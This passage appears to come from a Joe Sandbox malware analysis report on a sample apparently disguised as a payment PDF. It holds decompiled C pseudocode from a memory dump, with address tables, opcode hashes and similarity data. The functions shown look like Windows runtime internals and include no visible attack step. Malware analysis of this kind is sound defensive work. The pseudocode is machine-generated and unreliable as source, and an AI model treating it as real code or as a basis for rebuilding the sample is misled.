						_push(_t183);
						_push(0);
						_push(0x1f0003);
						_push(_t135);
						_t197 = E334B3470();
						 *((intOrPtr*)(_t204 - 0x1c)) = _t197;
						if(_t197 < 0) {
							goto L29;
						} else {
							 *((intOrPtr*)(_t204 - 4)) = 1;
							 *((intOrPtr*)(_t204 - 0x48)) = 1;
							_t139 =  *( *(_t204 - 0x3c));
							if(_t139 == 0) {
								_t139 =  *0x7ffe03c0;
							}
							_t140 = _t139 << 2;
							if(_t140 < 0x200) {
								_t140 = 0x200;
							}
							_t202 =  *((intOrPtr*)(_t204 - 0x20));
							_t60 = _t202 + 0x24; // 0x24
							_push( *((intOrPtr*)(_t204 - 0x34)));
							_push( *((intOrPtr*)(_t204 - 0x40)));
							_push(_t140);
							_push(_t202);
							_push(0x334758e0);
							_push(0xffffffff);
							_push( *((intOrPtr*)( *((intOrPtr*)(_t204 - 0x44)))));
							_push(0);
							_push(0xf00ff);
							_t197 = E334B3670();
							 *((intOrPtr*)(_t204 - 0x1c)) = _t197;
							if(_t197 < 0) {
								L28:
								 *((intOrPtr*)(_t204 - 4)) = 0;
								 *((intOrPtr*)(_t204 - 0x48)) = 0;
								_t116 = E33473B92(_t142, 0, _t197, _t202);
								goto L29;
							} else {
								if( *(_t204 - 0x2c) != 0) {
									_push("true");
									_push(_t204 - 0x2c);
									_push(0xd);
									_push( *((intOrPtr*)(_t202 + 0x24)));
									_t197 = E334B43A0();
									 *((intOrPtr*)(_t204 - 0x1c)) = _t197;
									if(_t197 < 0) {
										goto L28;
									}
									 *((short*)(_t202 + 0xe6)) =  *(_t204 - 0x2c);
								}
								 *((intOrPtr*)(_t202 + 0x2c)) = 0;
								 *((intOrPtr*)(_t202 + 0xe0)) = 0;
								 *((intOrPtr*)(_t202 + 0x114)) = 0;
								 *((short*)(_t202 + 0xe4)) = 0;
								_t70 = _t202 + 0x30; // 0x30
								_t145 = _t70;
								 *((intOrPtr*)(_t145 + 4)) = _t145;
								 *_t145 = _t145;
								_t72 = _t202 + 0x38; // 0x38
								_t146 = _t72;
								 *((intOrPtr*)(_t146 + 4)) = _t146;
								 *_t146 = _t146;
								_t74 = _t202 + 0x118; // 0x118
								_t147 = _t74;
								 *((intOrPtr*)(_t147 + 4)) = _t147;
								 *_t147 = _t147;
								E33474A09(_t202, _t204 - 0x60, 0);
								_t202 =  *((intOrPtr*)(_t204 - 0x20));
								 *((intOrPtr*)(_t202 + 0xf0)) =  *((intOrPtr*)(_t204 + 4));
								_t80 = _t202 + 0x40; // 0x40
								_t197 = E33474077(_t80, _t202);
								 *((intOrPtr*)(_t204 - 0x1c)) = _t197;
								if(_t197 < 0) {
									goto L28;
								}
								_t197 = 0;
								 *((intOrPtr*)(_t204 - 0x1c)) = 0;
								L33482330(_t142, 0x33566884);
								 *((intOrPtr*)(_t204 - 4)) = 2;
								_t84 = _t202 + 0xe8; // 0xe8
								_t151 = _t84;
								_t195 =  *0x33563424; // 0x31cc990
								if( *_t195 != 0x33563420) {
									_push("true");
									asm("int 0x29");
									goto L37;
								}
								 *_t151 = 0x33563420;
								 *((intOrPtr*)(_t151 + 4)) = _t195;
								 *_t195 = _t151;
								 *0x33563424 = _t151;
								 *((intOrPtr*)(_t204 - 4)) = 1;
								E33473B87();
								L334753C0(0x33566898);
								_t154 =  *0x33566974; // 0x0
								if(_t154 != 0) {
									_t197 = E33544000(0x33563420, _t202, 0x33564120, _t154);
									 *((intOrPtr*)(_t204 - 0x1c)) = _t197;
								}
								_t142 = E334752F0(0x33563420, 0x33566898);
								goto L28;
							}
						}
					}
				}
			}

0x334737e4
0x334737e6
0x334737eb
0x334737f0
0x334737f3
0x334737fc
0x334737ff
0x33473804
0x33473810
0x33473817
0x334cfdfd
0x33473b4c
0x33473b51
0x33473b5d
0x33473b5d
0x3347381d
0x33473820
0x33473823
0x33473826
0x3347382f
0x33473837
0x334cfe09
0x334cfe0f
0x334cfe0f
0x334cfe09
0x3347383d
0x3347385e
0x33473860
0x33473863
0x33473866
0x3347386f
0x334cfe17
0x334cfe17
0x334cfe1c
0x00000000
0x33473875
0x33473875
0x3347387b
0x33473881
0x3347389b
0x3347389d
0x334738a2
0x334cfe24
0x334cfe29
0x334cfe2c
0x33473b19
0x33473b19
0x33473b20
0x33473b27
0x33473b2e
0x00000000
0x00000000
0x33473b33
0x33473b3c
0x334cff3f
0x334cff44
0x334cff47
0x33473b42
0x33473b42
0x33473b42
0x33473b4a
0x33473bbb
0x33473bbd
0x33473bbd
0x00000000
0x33473b4a
0x334738a8
0x334738aa
0x334738ad
0x334738b0
0x334738b6
0x334738c6
0x334738ca
0x334738cb
0x334738cb
0x334738d0
0x334738d2
0x334738d2
0x334738da
0x00000000
0x00000000
0x334738df
0x334738e2
0x334738e5
0x334738e8
0x334738ea
0x334738ea
0x334738ed
0x334738f3
0x334738f9
0x3347390f
0x33473914
0x33473917
0x3347391c
0x00000000
0x00000000
0x33473922
0x33473928
0x3347392e
0x33473946
0x3347394b
0x3347394e
0x33473953
0x00000000
0x00000000
0x33473959
0x33473959
0x3347395f
0x33473962
0x33473964
0x33473969
0x3347396b
0x33473970
0x33473970
0x33473973
0x33473976
0x33473979
0x33473986
0x33473988
0x3347398d
0x00000000
0x33473993
0x33473993
0x3347399d
0x334739a0
0x334739a3
0x334739a6
0x334739a9
0x334739ac
0x334739af
0x334739b2
0x334739bb
0x334cfe34
0x334cfe36
0x334739c1
0x334739c1
0x334739c1
0x334739c2
0x334739c5
0x334739c5
0x334739c8
0x334739cb
0x334739cc
0x334739cd
0x334739d2
0x334739d8
0x334739da
0x334739df
0x00000000
0x334739e5
0x334739e8
0x334739eb
0x334739f1
0x334739f5
0x334739f7
0x334739f7
0x334739fc
0x33473a06
0x33473a08
0x33473a08
0x33473a0a
0x33473a0d
0x33473a10
0x33473a13
0x33473a16
0x33473a17
0x33473a18
0x33473a1d
0x33473a22
0x33473a24
0x33473a25
0x33473a30
0x33473a32
0x33473a37
0x33473b0a
0x33473b0a
0x33473b0d
0x33473b14
0x00000000
0x33473a3d
0x33473a41
0x33473b5e
0x33473b63
0x33473b64
0x33473b66
0x33473b6e
0x33473b70
0x33473b75
0x00000000
0x00000000
0x33473b7b
0x33473b7b
0x33473a47
0x33473a4a
0x33473a50
0x33473a56
0x33473a5d
0x33473a5d
0x33473a60
0x33473a63
0x33473a65
0x33473a65
0x33473a68
0x33473a6b
0x33473a6d
0x33473a6d
0x33473a73
0x33473a76
0x33473a7e
0x33473a86
0x33473a89
0x33473a8f
0x33473a99
0x33473a9b
0x33473aa0
0x00000000
0x00000000
0x33473aa2
0x33473aa4
0x33473aac
0x33473ab1
0x33473ab8
0x33473ab8
0x33473abe
0x33473acb
0x33473bb6
0x33473bb9
0x00000000
0x33473bb9
0x33473ad1
0x33473ad3
0x33473ad6
0x33473ad8
0x33473add
0x33473ae4
0x33473aee
0x33473af3
0x33473afa
0x334cfe55
0x334cfe57
0x334cfe57
0x33473b05
0x00000000
0x33473b05
0x33473a37
0x334739df
0x3347398d

Memory Dump Source

Source File: 00000006.00000002.88738890102.0000000033440000.00000040.00001000.00020000.00000000.sdmp, Offset: 33440000, based on PE: true

Associated: 00000006.00000002.88738890102.0000000033569000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.88738890102.000000003356D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_33440000_PAYNOW_2023_08_002783pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7936c57aeed4f1fab9916bf01ca9a9326f9da04ffa15a1d62ddec5395cafcf86
Instruction ID: 549653396ba02b9996386e474f3282b572238daf300da7c0cb36692e8b3bc032
Opcode Fuzzy Hash: 7936c57aeed4f1fab9916bf01ca9a9326f9da04ffa15a1d62ddec5395cafcf86
Instruction Fuzzy Hash: 14C155B59013099FDB15CFA8D840A9EBBF4FF48344F15856EE426AB351E734A902CF98

Uniqueness

Uniqueness Score: -1.00%

Function 334782E0 Relevance: .3, Instructions: 281
COMMON

Download Yara Rule

C-Code - Quality: 94%

			E334782E0(intOrPtr _a8, signed int _a12, signed int _a16) {
				signed int _v8;
				char _v60;
				intOrPtr _v64;
				signed int _v68;
				intOrPtr _v72;
				intOrPtr _v76;
				intOrPtr _v80;
				intOrPtr _v84;
				intOrPtr _v88;
				signed short* _v92;
				intOrPtr _v96;
				signed int _v100;
				intOrPtr _v104;
				intOrPtr _v108;
				intOrPtr _v112;
				intOrPtr _v116;
				intOrPtr _v120;
				signed short* _v124;
				intOrPtr _v128;
				intOrPtr _v132;
				intOrPtr _v136;
				char _v140;
				intOrPtr _v192;
				signed int _v196;
				intOrPtr _v200;
				intOrPtr _v204;
				intOrPtr _v208;
				intOrPtr _v212;
				intOrPtr _v216;
				signed short* _v220;
				intOrPtr _v224;
				signed int _v228;
				intOrPtr _v232;
				intOrPtr _v236;
				intOrPtr _v240;
				intOrPtr _v244;
				intOrPtr _v248;
				signed short* _v252;
				intOrPtr _v256;
				intOrPtr _v260;
				intOrPtr _v264;
				char _v268;
				signed int _v272;
				signed int _v276;
				signed short _v280;
				signed short _v284;
				signed int _v288;
				signed int _v292;
				intOrPtr* _v296;
				signed short _v300;
				signed short _v304;
				signed int _v308;
				void* _v324;
				void* __ebx;
				void* __edi;
				void* __esi;
				intOrPtr _t142;
				signed int _t144;
				intOrPtr _t153;
				void* _t154;
				signed int _t155;
				signed int _t162;
				signed short _t163;
				signed int _t166;
				signed short _t167;
				signed int _t172;
				signed int _t186;
				signed short _t187;
				signed int _t190;
				signed short _t191;
				intOrPtr _t196;
				signed int _t197;
				signed int _t200;
				signed int* _t201;
				signed int _t203;
				void* _t204;
				intOrPtr* _t205;
				signed int _t206;
				intOrPtr* _t208;
				intOrPtr* _t212;
				signed int _t213;
				intOrPtr* _t216;
				intOrPtr* _t224;
				signed int _t225;
				intOrPtr* _t229;
				void* _t233;
				signed int _t239;
				void* _t240;
				void* _t241;
				intOrPtr* _t242;
				intOrPtr* _t243;
				intOrPtr* _t245;
				void* _t246;
				intOrPtr* _t247;
				signed int _t249;
				signed int _t251;
				void* _t252;

				_t251 = (_t249 & 0xfffffff8) - 0x134;
				_v8 =  *0x3356b370 ^ _t251;
				_t203 = _a12;
				_t142 =  *((intOrPtr*)( *[fs:0x30] + 0x1e8));
				_t245 =  *((intOrPtr*)(_t203 + 8));
				if(_t142 == 0) {
					L24:
					_t235 = _t203;
					E3354629A(_t245, _t203, __eflags);
					L10:
					_t239 = _a16;
					if(_t239 >=  *((intOrPtr*)(_t245 + 0xc))) {
						L22:
						_t144 = 0;
						L19:
						_pop(_t240);
						_pop(_t246);
						_pop(_t204);
						return E334B4B50(_t144, _t204, _v8 ^ _t251, _t235, _t240, _t246);
					}
					asm("lfence");
					_t205 =  *((intOrPtr*)( *((intOrPtr*)(_t203 + 0x10)) + 4 + _t239 * 4));
					L334B8F40( &_v268, 0, 0x80);
					_v276 = 0;
					_t252 = _t251 + 0xc;
					_v272 = 0;
					_v304 = 0;
					_v300 = 0;
					if( *((intOrPtr*)(_t205 + 0x18)) == 0 || E33478470( &_v276) == 0) {
						L13:
						_t247 =  *((intOrPtr*)(_t245 + 0x10 + _t239 * 4));
						_v296 = _t247;
						L334B8F40( &_v60, 0, 0x30);
						_t251 = _t252 + 0xc;
						if( *((intOrPtr*)(_t247 + 0x18)) == 0) {
							L18:
							_t144 =  *((intOrPtr*)(_t247 + 4));
							goto L19;
						}
						_v292 = 0;
						_v288 = 0;
						_t153 =  *((intOrPtr*)( *[fs:0x30] + 0x1e8));
						if(_t153 == 0) {
							goto L18;
						}
						_t154 = _t153 + 0x7e0;
						if(_t154 == 0) {
							goto L18;
						}
						_t241 = _t154 + 0x30;
						if( *((intOrPtr*)(_t154 + 0x30)) == 0 ||  *((intOrPtr*)(_t154 + 0xc)) == 0) {
							goto L18;
						} else {
							_t206 =  *(_t154 + 0x10);
							_t155 = _t154 + 0x10;
							_v308 = _t155;
							_t235 =  *(_t155 + 4);
							__eflags = _t206 | _t235;
							if((_t206 | _t235) != 0) {
								L37:
								__eflags = _t206 | _t235;
								if((_t206 | _t235) == 0) {
									goto L18;
								}
								_t242 =  *_t247;
								_t212 = _t242;
								_v140 = _t247 + 0x60;
								_v136 = 0;
								_v132 = 0x10;
								_v128 = 0;
								_v296 = _t212 + 2;
								do {
									_t162 =  *_t212;
									_t212 = _t212 + 2;
									__eflags = _t162;
								} while (_t162 != 0);
								_t213 = _t212 - _v296;
								__eflags = _t213;
								_v108 = _t242;
								_t243 =  *((intOrPtr*)(_t247 + 0xc));
								_v120 = 0;
								_t163 = 2 + (_t213 >> 1) * 2;
								_v116 = 2;
								_v284 = _t163;
								_v124 =  &_v284;
								_t216 = _t243;
								_v100 = _t163 & 0x0000ffff;
								_v112 = 0;
								_v104 = 0;
								_v96 = 0;
								_v296 = _t216 + 2;
								do {
									_t166 =  *_t216;
									_t216 = _t216 + 2;
									__eflags = _t166;
								} while (_t166 != 0);
								_v88 = 0;
								_v84 = 2;
								_v80 = 0;
								_t167 = 2 + (_t216 - _v296 >> 1) * 2;
								_v76 = _t243;
								_v280 = _t167;
								_v68 = _t167 & 0x0000ffff;
								_v92 =  &_v280;
								_v72 = 0;
								_v64 = 0;
								E334A1280(_t206, _t206, _t235, 0x33446970, "true",  &_v140);
								goto L18;
							}
							_t172 = E3346E0E0(0x3344694c, 0, 0,  &_v292);
							__eflags = _t172;
							if(_t172 != 0) {
								goto L18;
							}
							asm("lock cmpxchg8b [esi]");
							_t247 = _v296;
							_t206 = _t172;
							_v308 = 0;
							__eflags = _t172;
							if(_t172 == 0) {
								__eflags = 0;
								_t206 = _v292;
								_v308 = _v288;
								L33545F48(_t241, 0, _v292, _v288,  *( *((intOrPtr*)( *[fs:0x30] + 0x10)) + 0x38) & 0x0000ffff,  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0x10)) + 0x3c)));
							} else {
								E33499A00(0, _v292, _v288, 0);
							}
							_t235 = _v308;
							goto L37;
						}
					} else {
						_t235 = _v276;
						__eflags = _t235 | _v272;
						if((_t235 | _v272) == 0) {
							goto L13;
						}
						_t224 =  *_t205;
						_v268 = _t205 + 0x20;
						_v264 = 0;
						_v260 = 0x10;
						_v256 = 0;
						_v308 = _t224 + 2;
						do {
							_t186 =  *_t224;
							_t224 = _t224 + 2;
							__eflags = _t186;
						} while (_t186 != 0);
						_t225 = _t224 - _v308;
						__eflags = _t225;
						_v248 = 0;
						_v244 = 2;
						_v240 = 0;
						_t187 = 2 + (_t225 >> 1) * 2;
						_v232 = 0;
						_v304 = _t187;
						_v252 =  &_v304;
						_t208 =  *((intOrPtr*)(_t205 + 4));
						_v236 =  *_t205;
						_t229 = _t208;
						_v228 = _t187 & 0x0000ffff;
						_v224 = 0;
						_v308 = _t229 + 2;
						do {
							_t190 =  *_t229;
							_t229 = _t229 + 2;
							__eflags = _t190;
						} while (_t190 != 0);
						_v216 = 0;
						_v212 = 2;
						_v208 = 0;
						_t191 = 2 + (_t229 - _v308 >> 1) * 2;
						_v204 = _t208;
						_v300 = _t191;
						_v196 = _t191 & 0x0000ffff;
						_v220 =  &_v300;
						_v200 = 0;
						_v192 = 0;
						E334A1280(_t208, _t235, _v272, 0x33446960, "true",  &_v268);
						goto L13;
					}
				}
				_t233 = _t142 + 0x7e0;
				if(_t233 == 0 ||  *((intOrPtr*)(_t233 + 0x30)) == 0) {
					goto L24;
				} else {
					_t196 =  *((intOrPtr*)( *[fs:0x30] + 0x1e8));
					if(_t196 == 0) {
						L23:
						_t235 = 0;
						_t197 = 0;
						L7:
						if(_t235 !=  *_t245 || _t197 !=  *((intOrPtr*)(_t245 + 4))) {
							_t198 = _a8;
							goto L21;
						} else {
							_t198 = _a8;
							if(_a8 !=  *((intOrPtr*)(_t245 + 8))) {
								L21:
								_t235 = _t203;
								_t200 = E334784D8(_t245, _t203, __eflags, _t233 + 0x18, _t198);
								__eflags = _t200;
								if(_t200 != 0) {
									goto L10;
								}
								goto L22;
							}
							goto L10;
						}
					}
					_t201 = _t196 + 0x7e0;
					if(_t201 == 0 || _t201[0xc] == 0) {
						goto L23;
					} else {
						_t235 =  *_t201;
						_t197 = _t201[1];
						goto L7;
					}
				}
			}

0x334782e8
0x334782f5
0x33478303
0x33478307
0x3347830e
0x33478313
0x334d1b00
0x334d1b00
0x334d1b04
0x3347837c
0x3347837c
0x33478382
0x33478467
0x33478467
0x33478437
0x3347843e
0x3347843f
0x33478440
0x3347844b
0x3347844b
0x33478388
0x33478395
0x3347839e
0x334783a5
0x334783ad
0x334783b0
0x334783b8
0x334783bd
0x334783c5
0x334783d8
0x334783d8
0x334783e8
0x334783ec
0x334783f1
0x334783f8
0x33478434
0x33478434
0x00000000
0x33478434
0x33478400
0x33478408
0x33478410
0x33478418
0x00000000
0x00000000
0x3347841a
0x3347841f
0x00000000
0x00000000
0x33478425
0x33478428
0x00000000
0x334d1c28
0x334d1c28
0x334d1c2b
0x334d1c2e
0x334d1c32
0x334d1c37
0x334d1c39
0x334d1cc1
0x334d1cc3
0x334d1cc5
0x00000000
0x00000000
0x334d1ccb
0x334d1cd0
0x334d1cd2
0x334d1cd9
0x334d1ce4
0x334d1cef
0x334d1cfd
0x334d1d01
0x334d1d01
0x334d1d04
0x334d1d07
0x334d1d07
0x334d1d0c
0x334d1d0c
0x334d1d12
0x334d1d19
0x334d1d1c
0x334d1d27
0x334d1d2e
0x334d1d3d
0x334d1d42
0x334d1d49
0x334d1d4e
0x334d1d55
0x334d1d63
0x334d1d6e
0x334d1d79
0x334d1d7d
0x334d1d7d
0x334d1d80
0x334d1d83
0x334d1d83
0x334d1d8e
0x334d1d99
0x334d1da4
0x334d1daf
0x334d1db6
0x334d1dbd
0x334d1dc9
0x334d1de1
0x334d1de8
0x334d1df3
0x334d1dfe
0x00000000
0x334d1dfe
0x334d1c4d
0x334d1c52
0x334d1c54
0x00000000
0x00000000
0x334d1c69
0x334d1c6d
0x334d1c73
0x334d1c75
0x334d1c79
0x334d1c7b
0x334d1c93
0x334d1c95
0x334d1c9b
0x334d1cb8
0x334d1c7d
0x334d1c88
0x334d1c88
0x334d1cbd
0x00000000
0x334d1cbd
0x334d1b0e
0x334d1b0e
0x334d1b14
0x334d1b18
0x00000000
0x00000000
0x334d1b1e
0x334d1b23
0x334d1b27
0x334d1b2f
0x334d1b3a
0x334d1b42
0x334d1b46
0x334d1b46
0x334d1b49
0x334d1b4c
0x334d1b4c
0x334d1b51
0x334d1b51
0x334d1b57
0x334d1b5f
0x334d1b67
0x334d1b6f
0x334d1b76
0x334d1b82
0x334d1b87
0x334d1b8d
0x334d1b90
0x334d1b94
0x334d1b99
0x334d1b9d
0x334d1ba8
0x334d1bac
0x334d1bac
0x334d1baf
0x334d1bb2
0x334d1bb2
0x334d1bbd
0x334d1bc5
0x334d1bcd
0x334d1bd5
0x334d1bdc
0x334d1be0
0x334d1bec
0x334d1c03
0x334d1c08
0x334d1c13
0x334d1c1e
0x00000000
0x334d1c1e
0x334783c5
0x33478319
0x33478321
0x00000000
0x33478331
0x33478337
0x3347833f
0x334d1af7
0x334d1af7
0x334d1af9
0x3347835f
0x33478361
0x3347844e
0x00000000
0x33478370
0x33478370
0x33478376
0x33478451
0x33478455
0x3347845a
0x3347845f
0x33478461
0x00000000
0x00000000
0x00000000
0x33478461
0x00000000
0x33478376
0x33478361
0x33478345
0x3347834a
0x00000000
0x3347835a
0x3347835a
0x3347835c
0x00000000
0x3347835c
0x3347834a

Memory Dump Source

Source File: 00000006.00000002.88738890102.0000000033440000.00000040.00001000.00020000.00000000.sdmp, Offset: 33440000, based on PE: true

Associated: 00000006.00000002.88738890102.0000000033569000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.88738890102.000000003356D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_33440000_PAYNOW_2023_08_002783pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6fb4f761cb7d5c475afa5c77f39642d886c98b6f4c2d9cbee6a5f1fc3c254b3b
Instruction ID: c8c94761c72706e9293c68e35ad79614d7817784a39d380782955ac93688bfda
Opcode Fuzzy Hash: 6fb4f761cb7d5c475afa5c77f39642d886c98b6f4c2d9cbee6a5f1fc3c254b3b
Instruction Fuzzy Hash: ACC146746083808FE360CF18C495BAAB7E4BF88344F44496DE99997791E7B4E908CF96

Uniqueness

Uniqueness Score: -1.00%

Function 3346C3C7 Relevance: .3, Instructions: 280
COMMON

Download Yara Rule

C-Code - Quality: 95%

			E3346C3C7(signed int __ecx) {
				signed int _v8;
				char _v188;
				intOrPtr _v192;
				intOrPtr _v196;
				intOrPtr _v200;
				intOrPtr _v204;
				short _v208;
				signed int _v210;
				short _v212;
				short _v214;
				char _v216;
				signed int _v220;
				signed int _v224;
				signed int _v228;
				signed int _v232;
				signed int _v236;
				char _v240;
				signed int _v244;
				intOrPtr _v248;
				char _v252;
				char* _v256;
				short _v258;
				char _v260;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t120;
				signed int _t123;
				void* _t127;
				signed int _t141;
				signed char _t142;
				signed int _t145;
				signed int _t153;
				void* _t161;
				short _t162;
				signed int _t177;
				void* _t178;
				void* _t179;
				signed int _t181;
				intOrPtr _t188;
				signed int _t191;
				signed int _t198;
				signed int _t201;
				signed int _t210;
				signed int _t214;
				signed int _t216;
				signed int _t218;
				signed int _t224;
				signed int _t225;
				void* _t226;
				void* _t227;
				signed int _t228;
				signed int _t229;

				_v8 =  *0x3356b370 ^ _t229;
				_t228 = __ecx;
				_v220 = 0;
				_t225 = _t224 | 0xffffffff;
				_v228 = 0;
				_v244 = 0;
				_t177 = _t225;
				_v224 = _t177;
				_v236 = _t225;
				L334B8F40( &_v188, 0, 0xaa);
				_t120 = L334B39E0();
				asm("sbb al, al");
				_v240 =  ~_t120 + 1;
				_t123 =  *(_t228 + 4) & 0x0000ffff;
				if(_t123 == 0) {
					_push( &_v220);
					if(L334B3EB0() < 0) {
						goto L31;
					}
					_t123 = _v220;
					goto L2;
				} else {
					_v220 = _t123;
					L2:
					_t187 = _t228;
					_t127 = E33495004(_t228, _t123, 0,  &_v236);
					if(_t127 == 0xc0000034 || _t127 == 0xc00000bb) {
						_t210 = 0x55;
						_v232 = _t225;
						_t188 = L3346D818(_t187, _t210);
						_v244 = _t188;
						if(_t188 != 0) {
							_v248 = _t188;
							_v252 = 0xaa0000;
							if(L33494F40(_v220 & 0x0000ffff,  &_v252) == 0) {
								goto L11;
							}
							_t161 = L3346D853( &_v232, _t228, _v248, "true",  &_v232);
							_t201 = _t225;
							if(_t161 >= 0) {
								_t201 = _v232;
							}
							_t162 = 0x31;
							_v216 = _t162;
							_v210 = _t201;
							_v214 = 0;
							_v212 = _v220;
							_v208 = 0;
							_v204 = 0;
							_v200 = 0;
							_v196 = 0;
							_v192 = 0;
							E3346CB1E(_t228,  &_v216, _v248);
							_t73 = _t228 + 0x14; // 0x16
							if(L334AA775(_t73,  &_v216, 0) < 0) {
								goto L11;
							} else {
								_t168 =  *(_t228 + 0x14);
								_t177 = ( *( *(_t228 + 0x14) + 6) & 0x0000ffff) - 1;
								goto L6;
							}
						}
						_t125 = 0xc0000017;
						goto L31;
					} else {
						if(_t127 < 0) {
							L11:
							if(_v240 != 0) {
								_t225 = _t177 & 0x0000ffff;
							}
							_t210 = _t225;
							E3346C5CA(_t228, _t210);
							_t191 =  *(_t228 + 0x14);
							_t178 = 0;
							if(0 >=  *(_t191 + 6)) {
								L17:
								_t177 = 0;
								if(0 >=  *(_t191 + 6)) {
									L25:
									_t225 = 0;
									if(0 >=  *(_t191 + 6)) {
										L29:
										_t135 = _v244;
										if(_v244 != 0) {
											E33483BC0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t135);
										}
										_t125 = 0;
										L31:
										return E334B4B50(_t125, _t177, _v8 ^ _t229, _t210, _t225, _t228);
									}
									_t179 = 0;
									do {
										if(( *(_t179 +  *((intOrPtr*)(_t191 + 0xc))) & 0x00000004) != 0) {
											L3352CF65(_t228, _t225);
											_t210 =  *(_t228 + 0x14);
										}
										_t225 = _t225 + 1;
										_t179 = _t179 + 0x1c;
										_t191 = _t210;
									} while (_t225 < ( *(_t210 + 6) & 0x0000ffff));
									goto L29;
								}
								_t214 = _t191;
								_t226 = 0;
								do {
									_t141 =  *((intOrPtr*)(_t214 + 0xc));
									_t191 = _t214;
									_v236 = _t141;
									_t142 =  *(_t141 + _t226) & 0x0000ffff;
									_v232 = _t142;
									if((_t142 & 0x00000021) == 0x21) {
										_t145 = _v232;
										if((_t145 & 0x00001000) == 0) {
											_v228 = _v228 + 1;
										}
										_t191 = _t214;
										if(_v240 != 0 && _t177 != _v224) {
											_t191 = _t214;
											if(_v228 >  *((intOrPtr*)(_t228 + 0x48))) {
												 *((short*)(_v236 + _t226)) = _t145 & 0x0000ffdf;
												 *( *((intOrPtr*)( *(_t228 + 0x14) + 0xc)) + _t226) =  *( *((intOrPtr*)( *(_t228 + 0x14) + 0xc)) + _t226) | 0x00008000;
												_t191 =  *(_t228 + 0x14);
											}
										}
									}
									_t177 = _t177 + 1;
									_t226 = _t226 + 0x1c;
									_t214 = _t191;
								} while (_t177 < ( *(_t191 + 6) & 0x0000ffff));
								goto L25;
							} else {
								_t216 = _t191;
								_t227 = 0;
								do {
									if(( *(_t227 +  *((intOrPtr*)(_t216 + 0xc))) & 0x00000022) == 0x22) {
										E3352D16A(_t228, _t178);
										_t153 =  *(_t228 + 0x14);
										_t198 =  *((intOrPtr*)(_t153 + 0xc));
										_v232 = _t198;
										_t218 =  *(_t198 + _t227) & 0x0000ffff;
										if((_t218 & 0x00001000) == 0) {
											_v228 = _v228 + 1;
										}
										_t191 = _t153;
										if(_v240 != 0 && _t178 != _v224 && _v228 >  *((intOrPtr*)(_t228 + 0x48))) {
											 *((short*)(_v232 + _t227)) = _t218 & 0x0000ffdf;
											 *( *((intOrPtr*)( *(_t228 + 0x14) + 0xc)) + _t227) =  *( *((intOrPtr*)( *(_t228 + 0x14) + 0xc)) + _t227) | 0x00008000;
											_t191 =  *(_t228 + 0x14);
										}
									}
									_t178 = _t178 + 1;
									_t227 = _t227 + 0x1c;
									_t216 = _t191;
								} while (_t178 < ( *(_t191 + 6) & 0x0000ffff));
								goto L17;
							}
						} else {
							_t177 = _v236;
							_t168 =  *(_t228 + 0x14);
							L6:
							_v224 = _t177;
							if(_t177 == _t225) {
								goto L11;
							}
							_t181 = _t177 * 0x1c;
							_v256 =  &_v188;
							_v258 = 0xaa;
							if(E3346C6A0(_t228,  *((intOrPtr*)(_t168 + 0xc)) + _t181,  &_v260) >= 0) {
								if(E334943AC(_t228, _v256) < 0) {
									 *( *((intOrPtr*)( *(_t228 + 0x14) + 0xc)) + _t181) =  *( *((intOrPtr*)( *(_t228 + 0x14) + 0xc)) + _t181) & 0x0000ffdf;
									 *( *((intOrPtr*)( *(_t228 + 0x14) + 0xc)) + _t181) =  *( *((intOrPtr*)( *(_t228 + 0x14) + 0xc)) + _t181) | 0x00008000;
								} else {
									_v228 = 1;
								}
							}
							_t177 = _v224;
							goto L11;
						}
					}
				}
			}

0x3346c3d9
0x3346c3e1
0x3346c3e8
0x3346c3f1
0x3346c3f4
0x3346c3fa
0x3346c400
0x3346c408
0x3346c40f
0x3346c416
0x3346c41e
0x3346c425
0x3346c429
0x3346c42f
0x3346c436
0x334c9ded
0x334c9df5
0x00000000
0x00000000
0x334c9dfb
0x00000000
0x3346c43c
0x3346c43c
0x3346c443
0x3346c44f
0x3346c451
0x3346c45b
0x334c9e09
0x334c9e0a
0x334c9e16
0x334c9e18
0x334c9e20
0x334c9e33
0x334c9e41
0x334c9e52
0x00000000
0x00000000
0x334c9e69
0x334c9e6e
0x334c9e73
0x334c9e75
0x334c9e75
0x334c9e7e
0x334c9e85
0x334c9e94
0x334c9e9b
0x334c9eab
0x334c9eb4
0x334c9ebb
0x334c9ec1
0x334c9ec7
0x334c9ecd
0x334c9ed3
0x334c9ed8
0x334c9eea
0x00000000
0x334c9ef0
0x334c9ef0
0x334c9ef7
0x00000000
0x334c9ef7
0x334c9eea
0x334c9e22
0x00000000
0x3346c46c
0x3346c46e
0x3346c4db
0x3346c4e2
0x3346c4e4
0x3346c4e4
0x3346c4e7
0x3346c4eb
0x3346c4f0
0x3346c4f5
0x3346c4fb
0x3346c521
0x3346c523
0x3346c529
0x3346c582
0x3346c584
0x3346c58a
0x3346c5ab
0x3346c5ab
0x3346c5b3
0x334c9fef
0x334c9fef
0x3346c5b9
0x3346c5bb
0x3346c5c9
0x3346c5c9
0x3346c58c
0x3346c58e
0x3346c597
0x334c9fd6
0x334c9fdb
0x334c9fdb
0x3346c5a1
0x3346c5a2
0x3346c5a5
0x3346c5a7
0x00000000
0x3346c58e
0x3346c52b
0x3346c52d
0x3346c52f
0x3346c52f
0x3346c532
0x3346c534
0x3346c53a
0x3346c53e
0x3346c548
0x3346c54a
0x3346c555
0x3346c557
0x3346c557
0x3346c564
0x3346c566
0x334c9f99
0x334c9fa4
0x334c9fb7
0x334c9fc6
0x334c9fca
0x334c9fca
0x334c9fa4
0x3346c566
0x3346c578
0x3346c579
0x3346c57c
0x3346c57e
0x00000000
0x3346c4fd
0x3346c4fd
0x3346c4ff
0x3346c501
0x3346c50d
0x334c9f24
0x334c9f29
0x334c9f2c
0x334c9f2f
0x334c9f35
0x334c9f3f
0x334c9f41
0x334c9f41
0x334c9f4e
0x334c9f50
0x334c9f83
0x334c9f8d
0x334c9f91
0x334c9f91
0x334c9f50
0x3346c517
0x3346c518
0x3346c51b
